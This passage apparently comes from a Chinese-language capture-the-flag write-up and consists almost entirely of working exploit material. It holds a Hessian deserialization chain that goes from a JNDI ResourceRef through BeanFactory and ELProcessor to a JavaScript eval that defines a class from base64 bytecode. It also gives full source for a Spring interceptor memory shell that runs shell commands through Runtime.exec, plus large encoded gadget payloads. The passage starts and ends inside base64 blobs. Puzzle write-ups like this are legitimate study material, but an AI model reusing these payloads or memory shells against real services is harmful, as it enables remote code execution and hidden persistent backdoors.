1Wnk5VGVYTjBaVzBCQUFOdmRYUUJBQlZNYW1GMllTOXBieTlRY21sdWRGTjBjbVZoYlRzQkFCTnFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRBUUFIY0hKcGJuUnNiZ0VBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCbUZ3Y0dWdVpBRUFMU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlPd0VBRUdwaGRtRXZkWFJwYkM5Q1lYTmxOalFCQUFwblpYUkZibU52WkdWeUFRQUhSVzVqYjJSbGNnRUFERWx1Ym1WeVEyeGhjM05sY3dFQUhDZ3BUR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNqc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQmhxWVhaaEwzVjBhV3d2UW1GelpUWTBKRVZ1WTI5a1pYSUJBQTVsYm1OdlpHVlViMU4wY21sdVp3RUFGaWhiUWlsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaDBiMU4wY21sdVp3RUFEV2RsZEZKbGNYVmxjM1JWVWtrQkFBWmxjWFZoYkhNQkFCVW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVm9CQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKU2hNYW1GMllTOXNZVzVuTDBOc1lYTnpPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJCblpYUkVaV05zWVhKbFpFWnBaV3hrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQVBjSEpwYm5SVGRHRmphMVJ5WVdObEFRQU5jMlYwUVdOalpYTnphV0pzWlFFQUJDaGFLVllCQUFOblpYUUJBQ1lvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUEyRmtaQUFoQURzQVB3QUJBRUFBQVFBSkFFRUFRZ0FBQUFnQUFRQkRBRVFBQVFCRkFBQUFMd0FCQUFFQUFBQUZLcmNBQWJFQUFBQUNBRVlBQUFBR0FBRUFBQUFaQUVjQUFBQU1BQUVBQUFBRkFFZ0FTUUFBQUFrQVNnQkxBQUlBUlFBQUFJWUFBZ0FFQUFBQUhCSUNUQ3JHQUJZU0E3Z0FCRTBzS3JZQUJVNHRFZ0syQUFaTUs3QUFBQUFEQUVZQUFBQWFBQVlBQUFBekFBTUFOUUFIQURjQURRQTVBQk1BT3dBYUFEOEFSd0FBQUNvQUJBQU5BQTBBVEFCTkFBSUFFd0FIQUU0QVR3QURBQUFBSEFCUUFGRUFBQUFEQUJrQVVnQlJBQUVBVXdBQUFBZ0FBZndBR2djQVZBQlZBQUFBQlFFQVVBQUFBQUVBVmdCWEFBTUFSUUFBQVpRQUF3QUpBQUFBc2JnQUJ4SUl0Z0FKdGdBS09nVzdBQXRaR1FXM0FBd1NEYllBRGpvR0dRYTJBQStaQUFzWkJyWUFFS2NBQlJJQ09nZXlBQkVaQjdZQUVyc0FFMW0zQUJRU0ZiWUFGcmdBRnhrSHRnQVl0Z0FadGdBV0VocTJBQmEyQUJzNkJDdTVBQndCQUJJZHRnQWVtUUJIdXdBTFdSa0V0d0FmRWcyMkFBNjJBQkE2Q0N3U0lCSWh1UUFpQXdBc3VRQWpBUUFaQ0xZQUpDeTVBQ01CQUxZQUpTeTVBQ01CQUxZQUpySUFKd1Jnc3dBbkE2d0VyQUFBQUFNQVJnQUFBRG9BRGdBQUFFc0FEUUJNQUIwQVRRQXhBRkFBT1FCVEFGMEFWUUJyQUZZQWZnQllBSWdBV1FDVEFGb0FuQUJiQUtVQVhBQ3RBRjBBcndCZ0FFY0FBQUJjQUFrQWZnQXhBRmdBVVFBSUFBQUFzUUJJQUVrQUFBQUFBTEVBV1FCYUFBRUFBQUN4QUZzQVhBQUNBQUFBc1FCZEFGNEFBd0JkQUZRQVh3QlJBQVFBRFFDa0FHQUFZUUFGQUIwQWxBQmlBR01BQmdBeEFJQUFaQUJSQUFjQVV3QUFBQzhBQS80QUxRQUhBR1VIQUdaQkJ3QlUvd0IvQUFnSEFHY0hBR2dIQUdrSEFHb0hBRlFIQUdVSEFHWUhBRlFBQUFCckFBQUFCQUFCQUd3QVZRQUFBQTBEQUZrQUFBQmJBQUFBWFFBQUFBRUFiUUJ1QUFNQVJRQUFBR0FBQlFBRkFBQUFDaW9yTEMwWkJMY0FLTEVBQUFBQ0FFWUFBQUFLQUFJQUFBQmxBQWtBWmdCSEFBQUFOQUFGQUFBQUNnQklBRWtBQUFBQUFBb0FXUUJhQUFFQUFBQUtBRnNBWEFBQ0FBQUFDZ0JkQUY0QUF3QUFBQW9BYndCd0FBUUFhd0FBQUFRQUFRQnNBRlVBQUFBUkJBQlpBQUFBV3dBQUFGMEFBQUJ2QUFBQUFRQnhBSElBQXdCRkFBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QXBzUUFBQUFJQVJnQUFBQW9BQWdBQUFHb0FDUUJyQUVjQUFBQTBBQVVBQUFBS0FFZ0FTUUFBQUFBQUNnQlpBRm9BQVFBQUFBb0FXd0JjQUFJQUFBQUtBRjBBWGdBREFBQUFDZ0J6QUhRQUJBQnJBQUFBQkFBQkFHd0FWUUFBQUJFRUFGa0FBQUJiQUFBQVhRQUFBSE1BQUFBQkFIVUFkZ0FEQUVVQUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCR0FBQUFCZ0FCQUFBQWNBQkhBQUFBSUFBREFBQUFBUUJJQUVrQUFBQUFBQUVBZHdCNEFBRUFBQUFCQUhrQWVnQUNBR3NBQUFBRUFBRUFld0JWQUFBQUNRSUFkd0FBQUhrQUFBQUJBSFVBZkFBREFFVUFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkdBQUFBQmdBQkFBQUFkUUJIQUFBQUtnQUVBQUFBQVFCSUFFa0FBQUFBQUFFQWR3QjRBQUVBQUFBQkFIMEFmZ0FDQUFBQUFRQmRBSDhBQXdCckFBQUFCQUFCQUhzQVZRQUFBQTBEQUhjQUFBQjlBQUFBWFFBQUFBZ0FnQUJFQUFFQVJRQUFBWEVBQXdBRkFBQUFiZ1N6QUNleUFCRVNLcllBRXJnQUt4SXNBN2tBTFFNQXdBQXVTeW9TTDdrQU1BSUF3QUF2VEFGTkVqRVNNcllBTTAybkFBaE9MYllBTlN3RXRnQTJBVTRzSzdZQU44QUFPRTZuQUFvNkJCa0V0Z0E2dXdBN1diY0FQRG9FTFJrRXVRQTlBZ0JYc2dBUkVqNjJBQkt4QUFJQUtRQXhBRFFBTkFCQUFFa0FUQUE1QUFRQVJnQUFBRTRBRXdBQUFCc0FCQUFkQUF3QUhnQWJBQjhBSndBZ0FDa0FJZ0F4QUNVQU5BQWpBRFVBSkFBNUFDWUFQZ0FuQUVBQUtRQkpBQ3dBVEFBcUFFNEFLd0JUQUMwQVhBQXVBR1VBTHdCdEFEQUFSd0FBQUVnQUJ3QTFBQVFBZ1FDQ0FBTUFUZ0FGQUlFQWd3QUVBQnNBVWdDRUFJVUFBQUFuQUVZQWhnQ0hBQUVBS1FCRUFJZ0FpUUFDQUVBQUxRQ0tBSXNBQXdCY0FCRUFqQUJKQUFRQWpRQUFBQXdBQVFCQUFDMEFpZ0NPQUFNQVV3QUFBQzBBQlA4QU5BQURCd0NQQndDUUJ3Q1JBQUVIQUpJRS93QVNBQVFIQUk4SEFKQUhBSkVIQUpNQUFRY0FsQVlBQWdDVkFBQUFBZ0NXQVEwQUFBQUtBQUVBdGdDeUFRd0FDWEIwQUFoQ2IyOW5hWEJ2Y0hCM0FRQjRlQT09In0BAKN7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTVvWVc1a2JHVXVTRzl0WlVoaGJtUnNaVWx0Y0d4NCJ9AQASL2JsYWNrbGlzdC9qZGsvZ2V0BwC7DADXANgMADkA1gEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcAvQwA2QDaDADbANwHAN0MAN4A1gwA3wA6DADgADoMAFsAXAwAXwBgAQAGc3RhYXJ0BwDhDADiAOMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAOQMAOUA5gEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA5wDoAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwDpDADqAOsBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOwAOgcAvwwA7QDuDADvAPABAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwxDADxANgBAAJvawEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABBqYXZhL2xhbmcvU3RyaW5nAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAEKEkpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQANZ2V0UmVxdWVzdFVSSQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkACEAMQA1AAEANgABAAkANwA4AAAABQABADkAOgABADsAAAAvAAEAAQAAAAUqtwABsQAAAAIAPAAAAAYAAQAAABkAPQAAAAwAAQAAAAUAPgA/AAAAAQBAAEEAAwA7AAABrwADAAkAAACtsgACsgADtgAEuAAFEga2AAe2AAg6BbsACVkZBbcAChILtgAMOgYZBrYADZkACxkGtgAOpwAFEg86B7IAAiu5ABABALYAEbIAAwVwmgAKEhI6BKcABxITOgQruQAQAQASFLYAFZkAR7sACVkZBLcAFhILtgAMtgAOOggsEhcSGLkAGQMALLkAGgEAGQi2ABssuQAaAQC2ABwsuQAaAQC2AB2yAAMEYLMAAwOsBKwAAAADADwAAABGABEAAAA3AAkAOAAWADkAJgA6ADoAOwBGAD0ATgA+AFUAQQBZAEQAZwBFAHoARgCEAEcAjwBIAJgASQChAEoAqQBLAKsATgA9AAAAZgAKAFIAAwBCAEMABAB6ADEARABDAAgAAACtAD4APwAAAAAArQBFAEYAAQAAAK0ARwBIAAIAAACtAEkASgADAFkAVABCAEMABAAWAJcASwBMAAUAJgCHAE0ATgAGADoAcwBPAEMABwBQAAAAOAAF/gA2AAcAUQcAUkEHAFP8ABwHAFP/AAMACAcAVAcAVQcAVgcAVwcAUwcAUQcAUgcAUwAA+wBRAFgAAAAEAAEAWQBaAAAADQMARQAAAEcAAABJAAAAAQBbAFwAAwA7AAAAYAAFAAUAAAAKKissLRkEtwAesQAAAAIAPAAAAAoAAgAAAFMACQBUAD0AAAA0AAUAAAAKAD4APwAAAAAACgBFAEYAAQAAAAoARwBIAAIAAAAKAEkASgADAAAACgBdAF4ABABYAAAABAABAFkAWgAAABEEAEUAAABHAAAASQAAAF0AAAABAF8AYAADADsAAABgAAUABQAAAAoqKywtGQS3AB+xAAAAAgA8AAAACgACAAAAWAAJAFkAPQAAADQABQAAAAoAPgA/AAAAAAAKAEUARgABAAAACgBHAEgAAgAAAAoASQBKAAMAAAAKAGEAYgAEAFgAAAAEAAEAWQBaAAAAEQQARQAAAEcAAABJAAAAYQAAAAgAYwA6AAEAOwAAAXEAAwAFAAAAbgSzAAOyAAISILYAEbgAIRIiA7kAIwMAwAAkSyoSJbkAJgIAwAAlTAFNEicSKLYAKU2nAAhOLbYAKywEtgAsAU4sK7YALcAALk6nAAo6BBkEtgAwuwAxWbcAMjoELRkEuQAzAgBXsgACEjS2ABGxAAIAKQAxADQAKgBAAEkATAAvAAQAPAAAAE4AEwAAABsABAAdAAwAHgAbAB8AJwAgACkAIgAxACUANAAjADUAJAA5ACYAPgAnAEAAKQBJACwATAAqAE4AKwBTAC0AXAAuAGUALwBtADAAPQAAAEgABwA1AAQAZABlAAMATgAFAGQAZgAEABsAUgBnAGgAAAAnAEYAaQBqAAEAKQBEAGsAbAACAEAALQBtAG4AAwBcABEAbwA/AAQAcAAAAAwAAQBAAC0AbQBxAAMAUAAAAC0ABP8ANAADBwByBwBzBwB0AAEHAHUE/wASAAQHAHIHAHMHAHQHAHYAAQcAdwYAAQB4AAAAAgB5';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());


// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

JSONObject jsonObject = new JSONObject();
jsonObject.put("Pupi1",ctx);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Hessian那一串Base64套的是一个内存马,然后解码后还是一个内存马,也就是内存马套内存马,一个打Client,然后打clinet后打server
内存马1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;

import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Memshell1 implements HandlerInterceptor {

public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell1 evilInterceptor = new Memshell1();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// String code1 =
// System.out.println(request.getRequestURI());
String code;
System.out.println(nums);
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(request.getRequestURI());
// code = "{\"code\":\"200\",\"message\":\""+output+"\"}";
if(nums % 2 ==0){
code = "{\"code\":\"200\",\"message\":\"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAH3QAHm9yZy5leGFtcGxlLkpzb25UZW1wbGF0ZXNDaGFpbnQAF0pzb25UZW1wbGF0ZXNDaGFpbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05PYmplY3QAAAAAAAAAAQIAAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAExc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAABpHyv66vgAAADQBMQoAPwCXCACYCACZCgCaAJsKAJoAnAoAnQCeCgCfAKAIAKEKAJ8AogoAowCkBwClCgALAKYIAKcKAAsAqAoACwCpCgALAKoJAKsArAoArQCuBwCvCgATAJcIALAKABMAsQoAsgCzCgC0ALUKALYAtwgAuAoAEwC5CwC6ALsIALwKALQAvQoACwC+CAC/CADACwDBAMILAMEAwwoAxADFCgDEAMYKAMQAxwkAOwDICwBAAMkLAEAAyggAywoAzADNCADOCwDPANAHANEHANILAC4A0wcA1AgA1QoA1gDXBwDYCgA0ANkKANoA2woA2gDcBwDdBwDeCgA5ANkHAN8KADsAlwsAOADgCADhBwDiBwDjAQAEbnVtcwEAAUkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xvcmcvZXhhbXBsZS9NZW1zaGVsbDI7AQAMcmVwbGFjZUJsYW5rAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFwAQAZTGphdmEvdXRpbC9yZWdleC9QYXR0ZXJuOwEAAW0BABlMamF2YS91dGlsL3JlZ2V4L01hdGNoZXI7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEZGVzdAEADVN0YWNrTWFwVGFibGUHAOQBABBNZXRob2RQYXJhbWV0ZXJzAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQHAOUHAKUHAN8HAOYHAOcHAOgBAApFeGNlcHRpb25zBwDpAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9